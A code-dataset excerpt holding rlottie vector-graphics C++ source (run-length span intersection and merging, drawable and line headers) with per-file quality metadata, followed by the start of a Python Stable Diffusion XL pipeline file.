cb(mSpans.size(), mSpans.data(), userData);
return;
}
auto obj = view();
Result result;
// run till all the spans are processed
while (obj.size()) {
auto count = _opIntersect(r, obj, result);
if (count) cb(count, result.data(), userData);
}
}
// res = a - b;
void VRle::Data::opSubstract(const VRle::Data &aObj, const VRle::Data &bObj)
{
// if two rle are disjoint
if (!aObj.bbox().intersects(bObj.bbox())) {
mSpans = aObj.mSpans;
} else {
auto a = aObj.view();
auto b = bObj.view();
auto aPtr = a.data();
auto aEnd = a.data() + a.size();
auto bPtr = b.data();
auto bEnd = b.data() + b.size();
// 1. forward a till it intersects with b
while ((aPtr != aEnd) && (aPtr->y < bPtr->y)) aPtr++;
auto count = aPtr - a.data();
if (count) copy(a.data(), count, mSpans);
// 2. forward b till it intersects with a
if (aPtr != aEnd)
while ((bPtr != bEnd) && (bPtr->y < aPtr->y)) bPtr++;
// update a and b object
a = {aPtr, size_t(aEnd - aPtr)};
b = {bPtr, size_t(bEnd - bPtr)};
// 3. calculate the intersect region
Result result;
// run till all the spans are processed
while (a.size() && b.size()) {
auto count = _opGeneric(a, b, result, Op::Substract);
if (count) copy(result.data(), count, mSpans);
}
// 4. copy the rest of a
if (a.size()) copy(a.data(), a.size(), mSpans);
}
mBboxDirty = true;
}
void VRle::Data::opGeneric(const VRle::Data &aObj, const VRle::Data &bObj,
Op op)
{
// This routine assumes, obj1(span_y) < obj2(span_y).
auto a = aObj.view();
auto b = bObj.view();
// reserve some space for the result vector.
mSpans.reserve(a.size() + b.size());
// if two rle are disjoint
if (!aObj.bbox().intersects(bObj.bbox())) {
if (a.data()[0].y < b.data()[0].y) {
copy(a.data(), a.size(), mSpans);
copy(b.data(), b.size(), mSpans);
} else {
copy(b.data(), b.size(), mSpans);
copy(a.data(), a.size(), mSpans);
}
} else {
auto aPtr = a.data();
auto aEnd = a.data() + a.size();
auto bPtr = b.data();
auto bEnd = b.data() + b.size();
// 1. forward a till it intersects with b
while ((aPtr != aEnd) && (aPtr->y < bPtr->y)) aPtr++;
auto count = aPtr - a.data();
if (count) copy(a.data(), count, mSpans);
// 2. forward b till it intersects with a
if (aPtr != aEnd)
while ((bPtr != bEnd) && (bPtr->y < aPtr->y)) bPtr++;
count = bPtr - b.data();
if (count) copy(b.data(), count, mSpans);
// update a and b object
a = {aPtr, size_t(aEnd - aPtr)};
b = {bPtr, size_t(bEnd - bPtr)};
// 3. calculate the intersect region
Result result;
// run till all the spans are processed
while (a.size() && b.size()) {
auto count = _opGeneric(a, b, result, op);
if (count) copy(result.data(), count, mSpans);
}
// 3. copy the rest
if (b.size()) copy(b.data(), b.size(), mSpans);
if (a.size()) copy(a.data(), a.size(), mSpans);
}
mBboxDirty = true;
}
static inline V_ALWAYS_INLINE void _opIntersectPrepare(VRle::View &a,
VRle::View &b)
{
auto aPtr = a.data();
auto aEnd = a.data() + a.size();
auto bPtr = b.data();
auto bEnd = b.data() + b.size();
// 1. advance a till it intersects with b
while ((aPtr != aEnd) && (aPtr->y < bPtr->y)) aPtr++;
// 2. advance b till it intersects with a
if (aPtr != aEnd)
while ((bPtr != bEnd) && (bPtr->y < aPtr->y)) bPtr++;
// update a and b object
a = {aPtr, size_t(aEnd - aPtr)};
b = {bPtr, size_t(bEnd - bPtr)};
}
void VRle::Data::opIntersect(VRle::View a, VRle::View b)
{
_opIntersectPrepare(a, b);
Result result;
while (a.size()) {
auto count = _opIntersect(a, b, result);
if (count) copy(result.data(), count, mSpans);
}
updateBbox();
}
static void _opIntersect(rle_view a, rle_view b, VRle::VRleSpanCb cb,
void *userData)
{
if (!cb) return;
_opIntersectPrepare(a, b);
Result result;
while (a.size()) {
auto count = _opIntersect(a, b, result);
if (count) cb(count, result.data(), userData);
}
}
/*
* This function will clip a rle list with another rle object
* tmp_clip : The rle list that will be use to clip the rle
* tmp_obj : holds the list of spans that has to be clipped
* result : will hold the result after the processing
* NOTE: if the algorithm runs out of the result buffer list
* it will stop and update the tmp_obj with the span list
* that are yet to be processed as well as the tpm_clip object
* with the unprocessed clip spans.
*/
static size_t _opIntersect(rle_view &obj, rle_view &clip, Result &result)
{
auto out = result.data();
auto available = result.max_size();
auto spans = obj.data();
auto end = obj.data() + obj.size();
auto clipSpans = clip.data();
auto clipEnd = clip.data() + clip.size();
int sx1, sx2, cx1, cx2, x, len;
while (available && spans < end) {
if (clipSpans >= clipEnd) {
spans = end;
break;
}
if (clipSpans->y > spans->y) {
++spans;
continue;
}
if (spans->y != clipSpans->y) {
++clipSpans;
continue;
}
// assert(spans->y == (clipSpans->y + clip_offset_y));
sx1 = spans->x;
sx2 = sx1 + spans->len;
cx1 = clipSpans->x;
cx2 = cx1 + clipSpans->len;
if (cx1 < sx1 && cx2 < sx1) {
++clipSpans;
continue;
} else if (sx1 < cx1 && sx2 < cx1) {
++spans;
continue;
}
x = std::max(sx1, cx1);
len = std::min(sx2, cx2) - x;
if (len) {
out->x = std::max(sx1, cx1);
out->len = (std::min(sx2, cx2) - out->x);
out->y = spans->y;
out->coverage = divBy255(spans->coverage * clipSpans->coverage);
++out;
--available;
}
if (sx2 < cx2) {
++spans;
} else {
++clipSpans;
}
}
// update the obj view yet to be processed
obj = {spans, size_t(end - spans)};
// update the clip view yet to be processed
clip = {clipSpans, size_t(clipEnd - clipSpans)};
return result.max_size() - available;
}
/*
* This function will clip a rle list with a given rect
* clip : The clip rect that will be use to clip the rle
* tmp_obj : holds the list of spans that has to be clipped
* result : will hold the result after the processing
* NOTE: if the algorithm runs out of the result buffer list
* it will stop and update the tmp_obj with the span list
* that are yet to be processed
*/
static size_t _opIntersect(const VRect &clip, rle_view &obj, Result &result)
{
auto out = result.data();
auto available = result.max_size();
auto ptr = obj.data();
auto end = obj.data() + obj.size();
const auto minx = clip.left();
const auto miny = clip.top();
const auto maxx = clip.right() - 1;
const auto maxy = clip.bottom() - 1;
while (available && ptr < end) {
const auto &span = *ptr;
if (span.y > maxy) {
ptr = end; // update spans so that we can breakout
break;
}
if (span.y < miny || span.x > maxx || span.x + span.len <= minx) {
++ptr;
continue;
}
if (span.x < minx) {
out->len = std::min(span.len - (minx - span.x), maxx - minx + 1);
out->x = minx;
} else {
out->x = span.x;
out->len = std::min(span.len, uint16_t(maxx - span.x + 1));
}
if (out->len != 0) {
out->y = span.y;
out->coverage = span.coverage;
++out;
--available;
}
++ptr;
}
// update the span list that yet to be processed
obj = {ptr, size_t(end - ptr)};
return result.max_size() - available;
}
static void blitXor(VRle::Span *spans, int count, uint8_t *buffer, int offsetX)
{
while (count--) {
int x = spans->x + offsetX;
int l = spans->len;
uint8_t *ptr = buffer + x;
while (l--) {
int da = *ptr;
*ptr = divBy255((255 - spans->coverage) * (da) +
spans->coverage * (255 - da));
ptr++;
}
spans++;
}
}
static void blitDestinationOut(VRle::Span *spans, int count, uint8_t *buffer,
int offsetX)
{
while (count--) {
int x = spans->x + offsetX;
int l = spans->len;
uint8_t *ptr = buffer + x;
while (l--) {
*ptr = divBy255((255 - spans->coverage) * (*ptr));
ptr++;
}
spans++;
}
}
static void blitSrcOver(VRle::Span *spans, int count, uint8_t *buffer,
int offsetX)
{
while (count--) {
int x = spans->x + offsetX;
int l = spans->len;
uint8_t *ptr = buffer + x;
while (l--) {
*ptr = spans->coverage + divBy255((255 - spans->coverage) * (*ptr));
ptr++;
}
spans++;
}
}
void blitSrc(VRle::Span *spans, int count, uint8_t *buffer, int offsetX)
{
while (count--) {
int x = spans->x + offsetX;
int l = spans->len;
uint8_t *ptr = buffer + x;
while (l--) {
*ptr = std::max(spans->coverage, *ptr);
ptr++;
}
spans++;
}
}
size_t bufferToRle(uint8_t *buffer, int size, int offsetX, int y,
VRle::Span *out)
{
size_t count = 0;
uint8_t value = buffer[0];
int curIndex = 0;
// size = offsetX < 0 ? size + offsetX : size;
for (int i = 0; i < size; i++) {
uint8_t curValue = buffer[0];
if (value != curValue) {
if (value) {
out->y = y;
out->x = offsetX + curIndex;
out->len = i - curIndex;
out->coverage = value;
out++;
count++;
}
curIndex = i;
value = curValue;
}
buffer++;
}
if (value) {
out->y = y;
out->x = offsetX + curIndex;
out->len = size - curIndex;
out->coverage = value;
count++;
}
return count;
}
struct SpanMerger {
explicit SpanMerger(VRle::Data::Op op)
{
switch (op) {
case VRle::Data::Op::Add:
_blitter = &blitSrcOver;
break;
case VRle::Data::Op::Xor:
_blitter = &blitXor;
break;
case VRle::Data::Op::Substract:
_blitter = &blitDestinationOut;
break;
}
}
using blitter = void (*)(VRle::Span *, int, uint8_t *, int);
blitter _blitter;
std::array<VRle::Span, 256> _result;
std::array<uint8_t, 1024> _buffer;
VRle::Span * _aStart{nullptr};
VRle::Span * _bStart{nullptr};
void revert(VRle::Span *&aPtr, VRle::Span *&bPtr)
{
aPtr = _aStart;
bPtr = _bStart;
}
VRle::Span *data() { return _result.data(); }
size_t merge(VRle::Span *&aPtr, const VRle::Span *aEnd, VRle::Span *&bPtr,
const VRle::Span *bEnd);
};
size_t SpanMerger::merge(VRle::Span *&aPtr, const VRle::Span *aEnd,
VRle::Span *&bPtr, const VRle::Span *bEnd)
{
assert(aPtr->y == bPtr->y);
_aStart = aPtr;
_bStart = bPtr;
int lb = std::min(aPtr->x, bPtr->x);
int y = aPtr->y;
while (aPtr < aEnd && aPtr->y == y) aPtr++;
while (bPtr < bEnd && bPtr->y == y) bPtr++;
int ub = std::max((aPtr - 1)->x + (aPtr - 1)->len,
(bPtr - 1)->x + (bPtr - 1)->len);
int length = (lb < 0) ? ub + lb : ub - lb;
if (length <= 0 || size_t(length) >= _buffer.max_size()) {
// can't handle merge . skip
return 0;
}
// clear buffer
memset(_buffer.data(), 0, length);
// blit a to buffer
blitSrc(_aStart, aPtr - _aStart, _buffer.data(), -lb);
// blit b to buffer
_blitter(_bStart, bPtr - _bStart, _buffer.data(), -lb);
// convert buffer to span
return bufferToRle(_buffer.data(), length, lb, y, _result.data());
}
static size_t _opGeneric(rle_view &a, rle_view &b, Result &result,
VRle::Data::Op op)
{
SpanMerger merger{op};
auto out = result.data();
size_t available = result.max_size();
auto aPtr = a.data();
auto aEnd = a.data() + a.size();
auto bPtr = b.data();
auto bEnd = b.data() + b.size();
// only logic change for substract operation.
const bool keep = op != (VRle::Data::Op::Substract);
while (available && aPtr < aEnd && bPtr < bEnd) {
if (aPtr->y < bPtr->y) {
*out++ = *aPtr++;
available--;
} else if (bPtr->y < aPtr->y) {
if (keep) {
*out++ = *bPtr;
available--;
}
bPtr++;
} else { // same y
auto count = merger.merge(aPtr, aEnd, bPtr, bEnd);
if (available >= count) {
if (count) {
memcpy(out, merger.data(), count * sizeof(VRle::Span));
out += count;
available -= count;
}
} else {
// not enough space try next time.
merger.revert(aPtr, bPtr);
break;
}
}
}
// update the span list that yet to be processed
a = {aPtr, size_t(aEnd - aPtr)};
b = {bPtr, size_t(bEnd - bPtr)};
return result.max_size() - available;
}
/*
* this api makes use of thread_local temporary
* buffer to avoid creating intermediate temporary rle buffer
* the scratch buffer object will grow its size on demand
* so that future call won't need any more memory allocation.
* this function is thread safe as it uses thread_local variable
* which is unique per thread.
*/
static vthread_local VRle::Data Scratch_Object;
VRle VRle::opGeneric(const VRle &o, Data::Op op) const
{
if (empty()) return o;
if (o.empty()) return *this;
Scratch_Object.reset();
Scratch_Object.opGeneric(d.read(), o.d.read(), op);
VRle result;
result.d.write() = Scratch_Object;
return result;
}
VRle VRle::operator-(const VRle &o) const
{
if (empty()) return {};
if (o.empty()) return *this;
Scratch_Object.reset();
Scratch_Object.opSubstract(d.read(), o.d.read());
VRle result;
result.d.write() = Scratch_Object;
return result;
}
VRle VRle::operator&(const VRle &o) const
{
if (empty() || o.empty()) return {};
Scratch_Object.reset();
Scratch_Object.opIntersect(d.read().view(), o.d.read().view());
VRle result;
result.d.write() = Scratch_Object;
return result;
}
void VRle::operator&=(const VRle &o)
{
if (empty()) return;
if (o.empty()) {
reset();
return;
}
Scratch_Object.reset();
Scratch_Object.opIntersect(d.read().view(), o.d.read().view());
d.write() = Scratch_Object;
}
VRle operator-(const VRect &rect, const VRle &o)
{
if (rect.empty()) return {};
Scratch_Object.reset();
Scratch_Object.addRect(rect);
VRle result;
result.d.write().opSubstract(Scratch_Object, o.d.read());
return result;
}
VRle operator&(const VRect &rect, const VRle &o)
{
if (rect.empty() || o.empty()) return {};
Scratch_Object.reset();
Scratch_Object.addRect(rect);
VRle result;
result.d.write().opIntersect(Scratch_Object.view(), o.d.read().view());
return result;
}
void VRle::intersect(const VRle &clip, VRleSpanCb cb, void *userData) const
{
if (empty() || clip.empty()) return;
_opIntersect(d.read().view(), clip.d.read().view(), cb, userData);
}
V_END_NAMESPACE
| 20,545
|
vrle
|
cpp
|
en
|
cpp
|
code
|
{"qsc_code_num_words": 2636, "qsc_code_num_chars": 20545.0, "qsc_code_mean_word_length": 4.13125948, "qsc_code_frac_words_unique": 0.13467375, "qsc_code_frac_chars_top_2grams": 0.01285583, "qsc_code_frac_chars_top_3grams": 0.01322314, "qsc_code_frac_chars_top_4grams": 0.00734619, "qsc_code_frac_chars_dupe_5grams": 0.46290174, "qsc_code_frac_chars_dupe_6grams": 0.42075298, "qsc_code_frac_chars_dupe_7grams": 0.3815427, "qsc_code_frac_chars_dupe_8grams": 0.3553719, "qsc_code_frac_chars_dupe_9grams": 0.32754821, "qsc_code_frac_chars_dupe_10grams": 0.31579431, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00968454, "qsc_code_frac_chars_whitespace": 0.31647603, "qsc_code_size_file_byte": 20545.0, "qsc_code_num_lines": 749.0, "qsc_code_num_chars_line_max": 81.0, "qsc_code_num_chars_line_mean": 27.42990654, "qsc_code_frac_chars_alphabet": 0.76579079, "qsc_code_frac_chars_comments": 0.18062789, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.34601449, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00136628, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.00023761, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.00181159, "qsc_codecpp_frac_lines_preprocessor_directives": 0.02536232, "qsc_codecpp_frac_lines_func_ratio": 0.03804348, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.07427536, "qsc_codecpp_frac_lines_print": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/src/vector/vdrawable.h
|
/*
* Copyright (c) 2020 Samsung Electronics Co., Ltd. All rights reserved.
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#ifndef VDRAWABLE_H
#define VDRAWABLE_H
#include <future>
#include <cstring>
#include "vbrush.h"
#include "vpath.h"
#include "vrle.h"
#include "vraster.h"
class VDrawable {
public:
enum class DirtyState : unsigned char {
None = 1<<0,
Path = 1<<1,
Stroke = 1<<2,
Brush = 1<<3,
All = (Path | Stroke | Brush)
};
enum class Type : unsigned char{
Fill,
Stroke,
StrokeWithDash
};
explicit VDrawable(VDrawable::Type type = Type::Fill);
void setType(VDrawable::Type type);
~VDrawable() noexcept;
typedef vFlag<DirtyState> DirtyFlag;
void setPath(const VPath &path);
void setFillRule(FillRule rule) { mFillRule = rule; }
void setBrush(const VBrush &brush) { mBrush = brush; }
void setStrokeInfo(CapStyle cap, JoinStyle join, float miterLimit,
float strokeWidth);
void setDashInfo(std::vector<float> &dashInfo);
void preprocess(const VRect &clip);
void applyDashOp();
VRle rle();
void setName(const char *name)
{
mName = name;
}
const char* name() const { return mName; }
public:
struct StrokeInfo {
float width{0.0};
float miterLimit{10};
CapStyle cap{CapStyle::Flat};
JoinStyle join{JoinStyle::Bevel};
};
struct StrokeWithDashInfo : public StrokeInfo{
std::vector<float> mDash;
};
public:
VPath mPath;
VBrush mBrush;
VRasterizer mRasterizer;
StrokeInfo *mStrokeInfo{nullptr};
DirtyFlag mFlag{DirtyState::All};
FillRule mFillRule{FillRule::Winding};
VDrawable::Type mType{Type::Fill};
const char *mName{nullptr};
};
#endif // VDRAWABLE_H
| 3,014
|
vdrawable
|
h
|
en
|
c
|
code
|
{"qsc_code_num_words": 357, "qsc_code_num_chars": 3014.0, "qsc_code_mean_word_length": 5.43417367, "qsc_code_frac_words_unique": 0.50140056, "qsc_code_frac_chars_top_2grams": 0.04536082, "qsc_code_frac_chars_top_3grams": 0.01340206, "qsc_code_frac_chars_top_4grams": 0.0, "qsc_code_frac_chars_dupe_5grams": 0.0, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00728266, "qsc_code_frac_chars_whitespace": 0.27106835, "qsc_code_size_file_byte": 3014.0, "qsc_code_num_lines": 93.0, "qsc_code_num_chars_line_max": 82.0, "qsc_code_num_chars_line_mean": 32.40860215, "qsc_code_frac_chars_alphabet": 0.87573964, "qsc_code_frac_chars_comments": 0.38586596, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.13114754, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.01620746, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.19672131, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.31147541, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/src/vector/vline.h
|
/*
* Copyright (c) 2020 Samsung Electronics Co., Ltd. All rights reserved.
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#ifndef VLINE_H
#define VLINE_H
#include "vglobal.h"
#include "vpoint.h"
V_BEGIN_NAMESPACE
class VLine {
public:
VLine() = default;
VLine(float x1, float y1, float x2, float y2)
: mX1(x1), mY1(y1), mX2(x2), mY2(y2)
{
}
VLine(const VPointF &p1, const VPointF &p2)
: mX1(p1.x()), mY1(p1.y()), mX2(p2.x()), mY2(p2.y())
{
}
float length() const { return length(mX1, mY1, mX2, mY2);}
void splitAtLength(float length, VLine &left, VLine &right) const;
VPointF p1() const { return {mX1, mY1}; }
VPointF p2() const { return {mX2, mY2}; }
float angle() const;
static float length(float x1, float y1, float x2, float y2);
private:
float mX1{0};
float mY1{0};
float mX2{0};
float mY2{0};
};
inline float VLine::angle() const
{
static constexpr float K_PI = 3.141592f;
const float dx = mX2 - mX1;
const float dy = mY2 - mY1;
const float theta = std::atan2(dy, dx) * 180.0f / K_PI;
return theta;
}
// approximate sqrt(x*x + y*y) using alpha max plus beta min algorithm.
// With alpha = 1, beta = 3/8, giving results with the largest error less
// than 7% compared to the exact value.
inline V_ALWAYS_INLINE float VLine::length(float x1, float y1, float x2, float y2)
{
float x = x2 - x1;
float y = y2 - y1;
x = x < 0 ? -x : x;
y = y < 0 ? -y : y;
return (x > y ? x + 0.375f * y : y + 0.375f * x);
}
inline void VLine::splitAtLength(float lengthAt, VLine &left, VLine &right) const
{
float len = length();
float dx = ((mX2 - mX1) / len) * lengthAt;
float dy = ((mY2 - mY1) / len) * lengthAt;
left.mX1 = mX1;
left.mY1 = mY1;
left.mX2 = left.mX1 + dx;
left.mY2 = left.mY1 + dy;
right.mX1 = left.mX2;
right.mY1 = left.mY2;
right.mX2 = mX2;
right.mY2 = mY2;
}
#endif //VLINE_H
| 2,996
|
vline
|
h
|
en
|
c
|
code
|
{"qsc_code_num_words": 457, "qsc_code_num_chars": 2996.0, "qsc_code_mean_word_length": 4.29102845, "qsc_code_frac_words_unique": 0.38293217, "qsc_code_frac_chars_top_2grams": 0.04487506, "qsc_code_frac_chars_top_3grams": 0.01835798, "qsc_code_frac_chars_top_4grams": 0.02141764, "qsc_code_frac_chars_dupe_5grams": 0.07343192, "qsc_code_frac_chars_dupe_6grams": 0.04895461, "qsc_code_frac_chars_dupe_7grams": 0.04895461, "qsc_code_frac_chars_dupe_8grams": 0.04895461, "qsc_code_frac_chars_dupe_9grams": 0.03467619, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.04606693, "qsc_code_frac_chars_whitespace": 0.23197597, "qsc_code_size_file_byte": 2996.0, "qsc_code_num_lines": 97.0, "qsc_code_num_chars_line_max": 83.0, "qsc_code_num_chars_line_mean": 30.88659794, "qsc_code_frac_chars_alphabet": 0.80617123, "qsc_code_frac_chars_comments": 0.44859813, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.01029056, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.11864407, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.18644068, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
000linlin/ConsisLoRA
|
pipeline_demo.py
|
from typing import Any, Callable, Dict, List, Optional, Tuple, Union
import torch
from diffusers import StableDiffusionXLPipeline
from diffusers.pipelines.stable_diffusion_xl import StableDiffusionXLPipelineOutput
from diffusers.image_processor import PipelineImageInput
from diffusers.callbacks import PipelineCallback, MultiPipelineCallbacks
from diffusers.utils.deprecation_utils import deprecate
import inspect
from typing import Any, Callable, Dict, List, Optional, Tuple, Union
import torch
from peft.tuners.tuners_utils import BaseTunerLayer
from utils import encode_prompt, filter_consislora
# Copied from diffusers.pipelines.stable_diffusion.pipeline_stable_diffusion.retrieve_timesteps
def retrieve_timesteps(
scheduler,
num_inference_steps: Optional[int] = None,
device: Optional[Union[str, torch.device]] = None,
timesteps: Optional[List[int]] = None,
sigmas: Optional[List[float]] = None,
**kwargs,
):
r"""
Calls the scheduler's `set_timesteps` method and retrieves timesteps from the scheduler after the call. Handles
custom timesteps. Any kwargs will be supplied to `scheduler.set_timesteps`.
Args:
scheduler (`SchedulerMixin`):
The scheduler to get timesteps from.
num_inference_steps (`int`):
The number of diffusion steps used when generating samples with a pre-trained model. If used, `timesteps`
must be `None`.
device (`str` or `torch.device`, *optional*):
